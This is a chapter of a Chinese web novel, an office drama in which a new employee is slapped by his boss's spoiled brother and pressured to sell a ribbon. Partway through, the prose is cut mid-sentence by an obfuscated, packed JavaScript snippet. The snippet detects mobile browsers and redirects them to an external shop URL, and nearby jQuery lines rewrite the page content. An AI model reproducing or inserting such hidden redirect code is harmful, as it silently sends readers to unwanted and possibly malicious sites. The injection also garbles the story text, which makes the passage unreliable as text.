声音的主人是这家公司老板:顾辞;五官立体端正,侧分黑发干净利落,一身黑色西装宽肩窄腰,标准的总裁模样瞧上去很养眼。
刚踏入公司,看见顾岑抬手打人这一幕,他火燎火燎跑过去,握住顾岑手腕阻止。
“岑岑?你在干什么?”
顾岑被拽的踉跄,粉色发丝跟着乱晃,他反手用力甩开顾辞揉着手腕,像被踩到似的跳脚抱怨。
“哥你干嘛!弄疼我了!”
“好好好,别动,我看看。”
顾辞没管眼前的楚白屿,将顾岑拉到身后,抬着他的手腕轻轻吹着,柔柔哄着,“不疼了,哥刚刚捏重了。”
“老板,早。”
楚白屿语气淡漠眼神空洞,面无表情地看他们,像是习惯过千万次一样,打个招呼就要回工位,离开这个是非之地。
“如果没事,我不打扰你们了。”
树欲静而风不止,顾辞分给他一瞥冷厉目光,张口道:“我记得你,好像是这个月新来的对吧?怎么跟岑岑起冲突了?”
楚白屿被这不问青红皂白,就兴师问罪的言论重伤到,他一顿一顿地侧过头,对上顾辞眼中理所当然的眸光。
不是询问,也没有半点主持公道的意思
那眼神他太熟悉了,从父母车祸他被舅妈接走那一刻起,一直到大学毕业,他无时无刻都遭受着。
眼睛泛酸,他捂住火辣辣的脸颊,拼命吞咽着喉咙里的酸水,沙哑艰难的出声解释。
“我没有主动跟他起冲突,是他要抢我的东西,我有好好跟他拒绝,他不听又要上手夺,我只是反抗了一句。”
没有意外,换来的是顾岑即刻炸毛,手舞足蹈指着他破口大骂。
“我抢?少胡说八道了,我明明是说是买好吗?哥,我说的是买他的丝带,是他推推拖拖不肯给我,故意气我,我才打他的。”
罪魁祸首,大家都心知肚明。
顾辞也只是轻飘飘一句,“知道了,岑岑还小不懂事,等会上班了,你去找刘姐拿药涂脸,去工作吧。”
“嗯……”
楚白屿心口一阵阵发麻涩疼,默默应完转身回位置。
“凭什么!他还没给我呢!丝……”
顾岑张牙舞爪着还要叫嚣。
顾辞没给他说话机会,直接把他拦腰扛在肩头,狠狠在他屁股上拍一巴掌,边往办公室走边训斥。
吵闹又聒噪的对话,一句一句砸进楚白屿的耳朵里。
“别闹别乱动,你把人打成那样,等会公司要来人上班了,给看到对你影响不好。”
“我不管,我就要,顾辞你不疼我是不是?我不活了啊啊啊!”
“我买了演唱会的票,你再闹我就送给保洁阿姨好了。”
“真的?二哥哥的?”
“嗯……”
“哥哥最好啦,亲一个~”
办公室的门被关上,撒娇宠溺也隔绝殆尽,公司又只剩楚白屿一个人。
他莫名拿出手机,想给淮青发条消息。
CBY:脸疼,想吃桃子粥……
只是这句并没发出去,又被他很快删除,退出消息框熄灭了手机屏幕。
从抽屉里翻出半支消肿膏,他捏着去了卫生间。
镜子里,半边右脸高高鼓起红彤彤的;上边还有因扇力太大,细嫩脸颊承受不住冲击,导致皮下毛细血管破裂,留下的淤血红点。
楚白屿第一反应却是:
“这么严重么?那中午不能回家了,不然也不好交代。”
他先掏出手机,心虚地给淮青发条撒谎消息:
CBY:我今天中午有同事邀请聚餐,我还是不回去吃了哈,不过我下班会早点回去的,行吗?
发完他忐忑地在卫生间来回踱步,等待着回复。
在家的淮青刚电话安排完演唱会事情,正打算去看食材提前做饭,扫到这条弹出消息,干脆利落回俩字。
HQ:不行
CBY:求你了,二哥哥,他们都是同事我初来乍到,融入相处的好点对工作也有帮助。
CBY:可以么?二哥哥求你了
CBY:拜托,就这一次,就这一次
……
他一句接一句追发,都没再得到回应。
又等了好一会还是没消息,他默默安慰自己,“没事,没生气就是默认可以吧?没事。”
实则,在家的淮青看完消息直接扣上手机,系上围裙往厨房走着嘟囔着:
“真是屁股又痒了,不行就是不行,推销一样来回拉扯什么?啧,不过这人怎么回事?有上班瘾么?算了,把饭煮好给他送去吧。”
厨房里厨具碰撞,声声悦耳甜蜜。
公司卫生间,楚白屿对着镜子涂药,眼泪津津地用手扇风,疼到嘶气。
涂完之后,他又看遍手机仍旧没消息。叹口气自言自语,“算了,先去上班吧。”
空荡荡的办公室逐渐热闹,等牛马们就位后,各自忙碌又归于平静。
砰、
一声脆响,从老板办公室传出来打破平静。
像是玻璃杯摔在地面上破裂的声音,还夹杂一声声男生的尖锐争吵。
大家都停下手中的活,面面相觑;只有楚白屿连头也不抬,继续敲着键盘工作。
不用猜,他知道是谁,不过不想再跟那人有任何瓜葛。
约莫十分钟,争吵声渐渐安静,老板办公室的门被推开条小缝,顾辞清冷的声音传出来。
“刘秘书,你叫那个新来的楚白屿,来我办公室一趟。”
“好的哦,老板~”
刘秘书全名叫刘甜甜,烈焰红唇大波浪,是个性感的Omega。
经常一身黑色制服,白衬衫都是V领,大片颤巍巍的蜜色若隐若现;包臀裙不长不短到膝盖,裹着颗饱满诱人的蜜桃,每次踩着那双细高跟走路时,都一扭一晃的让人忍不住侧目多看几眼。
她娇滴滴走到楚白屿工位前停下,弯腰敲着桌面,声音水嗲让人耳根都发软。
“喂~小楚哦,老板叫你去他办公室一趟哦~”
楚白屿闻声抬头,正对上那片白花花蜜色,整个人嗖地一下熟透了。
慌忙低下头,盯着脚尖磕巴回应,“好、好的刘姐,我马上就去。”
刘秘书又走近两步,伸出白皙的手指,轻轻戳他泛红热乎的耳尖,嗲气地温柔打趣他。
“刘姐听起来老气横秋的,我才大你十几岁而已嘛,哪里有那么老哦~叫甜甜姐。”
楚白屿小声,“甜甜姐。”
“嗯呐,看着姐姐的脸,再喊一回,姐姐听听~”
刘秘书凑过去想逗他,才发现他右半边脸颊肿得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305277|198698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老高,捂住嘴惊讶出声。
“诶呀,小楚你脸上怎么弄的?这么严重?你不会跟人打架了吧?”
楚白屿不想提今早那些事儿,撒谎敷衍道,“没,不小心摔了一跤。”
“诶呀!摔那么严重?可叫姐姐心疼坏了!”
“没事,甜甜姐。”
“这还没事儿?!”
刘秘书踩着那双恨天高,哒哒哒跑回自己工位,折回来时候手里攥着一支药膏,她放在楚白屿的工桌上,碎碎念地嗔怪叮嘱。
“可不能不在意,白嫩嫩的小脸留疤了可就不好看啦,姐姐的消痕膏给你,你可得按时涂哦~”
楚白屿一抬头又看到蜜色风景,眼神闪躲着道谢,“记住了,谢谢甜甜姐。”
“谢什么~有困难就跟姐姐讲,快去吧,老板还等着你呢~我先走咯~”
那双高跟鞋踩着欢快节奏,又离开楚白屿的身边。
人在委屈时候简单关心,也会如同冬日一束暖光,让原本低沉的内心,涌动起丝丝暖流。
他收起药膏,做两次深呼吸,鼓起勇气走向那扇让他产生排斥的门。
两声叩门声响起,他语气毕恭毕敬。
“老板?您找我。”
“嗯,进来吧,门别开太大。”
顾辞的声音不响,也有些不自然。
他不明白“不太大”是多大,但服从性很好,只打开条小缝侧身挤了进去。
进来站稳,眼前的景象让他呆住几秒。
嚣张跋扈的顾岑,嘴里堵着条领带,手脚都被绑着丢在一侧沙发上;见他进来,蛄蛹着发出激烈的呜呜呜声音。
再看向高位的顾辞,对方衬衫领口斜歪,脸上挂着好几处抓痕,下颚处还有两圈牙印咬出的红痕。
顾辞眼神闪烁半瞬,清清嗓子,指着对面的椅子率先开口。
“咳咳,小楚啊坐吧,岑岑你不用管,他跟我闹脾气而已。”
“好……”
一转身,顾岑恶狠狠瞪着、冲他呜呜着,看得他心里发毛发怵。
他像躲瘟疫一样,刻意将椅子拉远些,挑个距离顾岑最远的位置坐下来。
顾辞靠在椅背上不说话,指节轻敲着桌沿,眼神时不时瞟向他的脖颈欲言又止。
他顶着肿脸,如坐针毡,忍不住先问,“请问,老板您找我有什么事吗?”
“啊是这样,也不是什么大事儿,今天岑岑不是跟你起争执了吗,我替他跟你道个歉。”
突如其来的转变,让他心中升起一股不祥的预感。
“没、没关系哈,如果只是这件事儿的话,那我就先……”
他起身连连摇头,想撤离,可惜没能走成。
“坐,坐,小楚我找你还有事儿。”
顾辞伸出手,冲他招招示意,“我看你工作上也挺努力,这个月发工资,让财务多给你发两千块当奖金。”
“真没事,不用的,谢谢老板,我做的是份内工作,也只拿份内工资。”
老实巴交的他,听不出老板话里的含义,赶紧摆着手拒绝。
这搞得顾辞反倒尴尬,他瞥眼沙发上的弟弟,叹口气不再绕弯子。
“小楚啊,我也不跟你绕弯子了,你那条丝带我家岑岑确实想要,你开个价,无论多少我都付给你,你看可不可以?”
“不可以!”